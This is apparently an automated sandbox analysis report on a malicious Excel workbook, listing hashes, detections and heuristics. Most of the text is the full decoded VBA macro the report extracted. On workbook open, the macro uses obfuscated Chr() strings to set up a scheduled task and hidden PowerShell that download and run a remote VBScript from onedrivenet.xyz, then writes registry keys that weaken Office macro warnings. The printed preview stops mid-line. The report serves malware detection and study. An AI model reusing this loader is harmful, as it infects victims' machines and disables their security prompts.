Office (OOXML) malware analysis — malicious · 4142fcde447fc96f

MALICIOUS

Office (OOXML)

18.4 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-02-23

MD5: 53ce86cf81a90b586e47a623ae7918e0 SHA-1: db92cd464b596aec58dc5550054ed561290086b0 SHA-256: 4142fcde447fc96fe3b95e93be525cdf365723c74481bfb3f36b192d85c04656

350 Risk Score

Heuristics 8

ClamAV: Xls.Malware.Valyria-6934880-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Malware.Valyria-6934880-0
VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
Set wso = CreateObject("WScript.Shell")
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
Set ASdiW834hkjasdDk8 = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Set ASdiW834hkjasdDk8 = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://onedrivenet.xyz/work/p.vbs\ In document text (OOXML body / shared strings)
- http://onedrivenet.xyz/work/p.vbsIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	24565 bytes
SHA-256: `89907d1f032c4cf2b14b82c8ac363c63816aef551e39a4946e113abc1d7e421e`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Module1" Sub asdasd() End Sub Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Set ASdiW834hkjasdDk8 = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)) Dim ASdiW83ASdjSn1 Dim ASdiW83ASdjSn2 Dim ASdiW83ASdjSn3 Dim ASdiW83ASdjSn4 Dim ASdiW83ASdjSn5 Dim ASdiW83ASdjSn6 Dim ASdiW83ASdjSn7 ASdiW83ASdjSn1 = Chr(83) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(99) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(104) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(84) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(97) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(115) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(107) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(115) & Chr(32) & Chr(47) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(67) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(114) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(101) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(97) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(116) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(101) & Chr(32) & Chr(47) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(115) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(99) & Chr(32) & Chr(77) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(73) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(78) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(85) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(84) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(69) & Chr(32) & Chr(47) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(77) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(79) & Chr(32) & Chr(49) & Chr(32) & Chr(47) & Chr(84) ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & Chr(78) & Chr(32) & Chr(87) ASdiW83ASdjSn2 = Chr(105) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(110) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(100) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(111) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(119) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(115) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(85) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(112) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(100) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(97) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(116) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(101) & Chr(32) & Chr(47) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(84) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "R ""P" ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(111) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(119) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(101) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(114) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(115) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(104) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(101) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(108) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(108) & Chr(32) & Chr(45) & Chr(87) & Chr(32) & Chr(72) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(105) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(100) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(100) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(101) ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & Chr(110) & Chr(32) & Chr(40) ASdiW83ASdjSn3 = Chr(78) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(101) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(119) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(45) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(79) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(98) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(106) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(101) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(99) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(116) & Chr(32) & Chr(83) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(121) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(115) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(116) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(101) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(109) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(46) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(78) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(101) & Chr(116) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(46) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(87) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(101) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(98) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(67) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(108) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(105) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(101) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(110) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(116) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(41) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(46) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(68) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(111) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(119) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(110) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(108) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(111) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(97) ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & Chr(100) ASdiW83ASdjSn4 = Chr(70) ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & Chr(105) ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & Chr(108) ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & Chr(101) ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & Chr(40) ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & Chr(92) ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & Chr(92) ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & "\""http://onedrivenet.xyz/work/p.vbs\" ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & Chr(92) ASdiW83ASdjSn5 = "\"",\" ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(92) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "\""$" ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(101) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(110) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(118) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(58) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(112) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(117) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(98) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(108) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(105) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(99) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(92) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(115) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(118) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(99) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(104) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(111) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(115) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(116) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(51) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(50) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(53) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(46) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(118) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(98) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(115) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(92) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(92) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "\"")" ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(59) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(40) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(78) ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & Chr(101) ASdiW83ASdjSn6 = Chr(119) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(45) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(79) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(98) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(106) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(101) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(99) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(116) & Chr(32) & Chr(45) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(99) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(111) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(109) & Chr(32) & Chr(83) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(104) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(101) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(108) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(108) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(46) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(65) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(112) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(112) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(108) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(105) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(99) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(97) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(116) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(105) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(111) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(110) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(41) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(46) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(83) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(104) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(101) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(108) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(108) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(69) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(120) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(101) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(99) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(117) ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & Chr(116) ASdiW83ASdjSn7 = Chr(101) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(40) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(92) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(92) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "\""$" ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(101) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(110) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(118) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(58) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(112) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(117) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(98) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(108) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(105) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(99) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(92) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(115) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(118) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(99) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(104) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(111) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(115) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(116) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(51) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(50) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(53) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(46) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(118) & Chr(98) & Chr(115) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(92) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(92) ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "\"");"" /" ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & Chr(70) & Chr(32) ASdiW83ASdjSn200 = ASdiW83ASdjSn1 + ASdiW83ASdjSn2 + ASdiW83ASdjSn3 + ASdiW83ASdjSn4 + ASdiW83ASdjSn5 + ASdiW83ASdjSn6 + ASdiW83ASdjSn7 ASdiW834hkjasdDk8.Run ASdiW83ASdjSn200, vbHide Set FiNoa9L = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)) Dim FiNSincals3ASdoa9L1 Dim FiNSincals3ASdoa9L2 Dim FiNSincals3ASdoa9L3 Dim FiNSincals3ASdoa9L4 Dim FiNSincals3ASdoa9L5 Dim FiNSincals3ASdoa9L6 Dim FiNSincals3ASdoa9L7 Dim FiNSincals3ASdoa9L8 Dim FiNSincals3ASdoa9L9 Dim FiNSincals3ASdoa9L010 Dim FiNSincals3ASdoa9L011 Dim FiNSincals3ASdoa9L012 Dim FiNSincals3ASdoa9L013 Dim FiNSincals3ASdoa9L014 FiNSincals3ASdoa9L1 = Chr(80) FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & Chr(111) FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & Chr(119) FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & Chr(101) FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & Chr(114) FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & Chr(83) FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & Chr(104) FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & Chr(101) FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & Chr(108) FiNSincals3ASdoa9L2 = Chr(108) FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & Chr(32) & Chr(40) FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & Chr(78) FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & Chr(101) FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & Chr(119) FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & Chr(45) FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & Chr(79) FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & Chr(98) FiNSincals3ASdoa9L3 = Chr(106) FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & Chr(101) FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & Chr(99) FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & Chr(116) & Chr(32) FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & Chr(83) FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & Chr(121) FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & Chr(115) FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & Chr(116) FiNSincals3ASdoa9L4 = Chr(101) FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & Chr(109) FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & Chr(46) FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & Chr(78) FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & Chr(101) FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & Chr(116) FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & Chr(46) FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & Chr(87) FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & Chr(101) FiNSincals3ASdoa9L5 = Chr(98) FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & Chr(67) FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & Chr(108) FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & Chr(105) FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & Chr(101) FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & Chr(110) FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & Chr(116) FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & Chr(41) FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & Chr(46) FiNSincals3ASdoa9L6 = Chr(68) FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & Chr(111) FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & Chr(119) FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & Chr(110) FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & Chr(108) FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & Chr(111) FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & Chr(97) FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & Chr(100) FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & Chr(70) FiNSincals3ASdoa9L7 = Chr(105) FiNSincals3ASdoa9L7 = FiNSincals3ASdoa9L7 & Chr(108) FiNSincals3ASdoa9L7 = FiNSincals3ASdoa9L7 & Chr(101) FiNSincals3ASdoa9L7 = FiNSincals3ASdoa9L7 & Chr(40) FiNSincals3ASdoa9L7 = FiNSincals3ASdoa9L7 & "'http://onedrivenet.xyz/work/p.vbs'," FiNSincals3ASdoa9L8 = Chr(39) FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & Chr(37) FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & Chr(80) FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & Chr(117) FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & Chr(98) FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & Chr(108) & Chr(105) & Chr(99) FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & Chr(37) FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & Chr(92) FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & Chr(115) FiNSincals3ASdoa9L9 = Chr(118) FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & Chr(99) FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & Chr(104) FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & Chr(111) FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & Chr(115) FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & Chr(116) FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & Chr(51) FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & Chr(50) FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & Chr(46) FiNSincals3ASdoa9L010 = Chr(118) FiNSincals3ASdoa9L010 = FiNSincals3ASdoa9L010 & Chr(98) FiNSincals3ASdoa9L010 = FiNSincals3ASdoa9L010 & Chr(115) FiNSincals3ASdoa9L010 = FiNSincals3ASdoa9L010 & Chr(39) FiNSincals3ASdoa9L010 = FiNSincals3ASdoa9L010 & Chr(41) FiNSincals3ASdoa9L010 = FiNSincals3ASdoa9L010 & Chr(59) FiNSincals3ASdoa9L010 = FiNSincals3ASdoa9L010 & Chr(83) FiNSincals3ASdoa9L011 = Chr(116) FiNSincals3ASdoa9L011 = FiNSincals3ASdoa9L011 & Chr(97) FiNSincals3ASdoa9L011 = FiNSincals3ASdoa9L011 & Chr(114) FiNSincals3ASdoa9L011 = FiNSincals3ASdoa9L011 & Chr(116) FiNSincals3ASdoa9L011 = FiNSincals3ASdoa9L011 & Chr(45) FiNSincals3ASdoa9L011 = FiNSincals3ASdoa9L011 & Chr(80) FiNSincals3ASdoa9L011 = FiNSincals3ASdoa9L011 & Chr(114) FiNSincals3ASdoa9L012 = Chr(111) FiNSincals3ASdoa9L012 = FiNSincals3ASdoa9L012 & Chr(99) FiNSincals3ASdoa9L012 = FiNSincals3ASdoa9L012 & Chr(101) FiNSincals3ASdoa9L012 = FiNSincals3ASdoa9L012 & Chr(115) FiNSincals3ASdoa9L012 = FiNSincals3ASdoa9L012 & Chr(115) FiNSincals3ASdoa9L012 = FiNSincals3ASdoa9L012 & Chr(32) & Chr(39) FiNSincals3ASdoa9L012 = FiNSincals3ASdoa9L012 & Chr(37) FiNSincals3ASdoa9L013 = Chr(80) FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & Chr(117) FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & Chr(98) FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & Chr(108) & Chr(105) & Chr(99) FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & Chr(37) FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & Chr(92) FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & Chr(115) FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & Chr(118) FiNSincals3ASdoa9L014 = Chr(99) FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & Chr(104) FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & Chr(111) FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & Chr(115) FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & Chr(116) FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & Chr(51) FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & Chr(50) FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & Chr(46) FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & Chr(118) FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & Chr(98) FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & Chr(115) FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & Chr(39) FiNSincals3ASdoa9L20 = FiNSincals3ASdoa9L1 + FiNSincals3ASdoa9L2 + FiNSincals3ASdoa9L3 + FiNSincals3ASdoa9L4 + FiNSincals3ASdoa9L5 + FiNSincals3ASdoa9L6 + FiNSincals3ASdoa9L7 + FiNSincals3ASdoa9L8 + FiNSincals3ASdoa9L9 + FiNSincals3ASdoa9L010 + FiNSincals3ASdoa9L011 + FiNSincals3ASdoa9L012 + FiNSincals3ASdoa9L013 + FiNSincals3ASdoa9L014 FiNoa9L.Run FiNSincals3ASdoa9L20, vbHide Set wso = CreateObject("WScript.Shell") wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite 